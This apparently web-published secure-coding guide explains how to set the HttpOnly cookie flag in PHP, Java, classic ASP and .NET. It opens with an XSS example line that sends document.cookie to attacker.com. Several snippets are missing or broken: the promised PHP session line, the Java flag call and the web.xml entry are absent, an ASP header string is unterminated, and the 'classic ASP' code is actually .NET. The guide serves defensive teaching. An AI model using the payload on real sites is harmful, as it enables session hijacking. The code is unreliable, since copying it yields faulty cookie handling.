What can happen?
In case the attacker manages to find an XSS on a website, they can use the vulnerability to gain access to user’s cookies which aren’t protected by the HttpOnly flag. This, in turn, could lead to account/session takeover.
Example of the vulnerability
The attacker finds an XSS on a website and uses that to create a link which injects the following code into the user's browser:
location.href = "https://attacker.com/cookie.php?c=" + document.cookie;
That will redirect the user to https://attacker.com/cookie.php with all his cookies as parameter c and the attacker can now hijack the session.
Here is how to set the HttpOnly flag on cookies in PHP, Java and Classic ASP.
Set HttpOnly cookie in PHP
The following line sets the HttpOnly flag for session cookies - make sure to call it before you call session_start():
This is the most common way to set cookies in PHP, empty variables will hold their default value.
setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
The easiest way of setting a cookie with the HttpOnly flag would therefore be:
'setcookie("myCookie", "value", "", "", "", "", "true");'
A more low-level and less PHP-like alternative to setcookie()
header("Set-Cookie: myCookie=value; httpOnly");
Set HttpOnly cookie in Java
To set the HttpOnly flag on general cookies in Java:
Cookie cookie = getMyCookie("myCookie");
Add this to the configuration (web.xml) to make sure session cookies also get the HttpOnly flag:
Set HttpOnly cookie in classic ASP
Set the HttpOnly flag in cookies in classic ASP:
HttpCookie cookie = new HttpCookie("myCookie", "value");
cookie.Path = "/; HttpOnly";
Or write the whole header to set it:
Response.AddHeader("Set-Cookie", "myCookie=value; path=/; HttpOnly);
Set HttpOnly cookie in .NET > 2.0
Add following snippet to your web.config:
<httpCookies httpOnlyCookies="true" />
Remember that this isn’t a fix for XSS, so you still need to watch out for that vulnerability.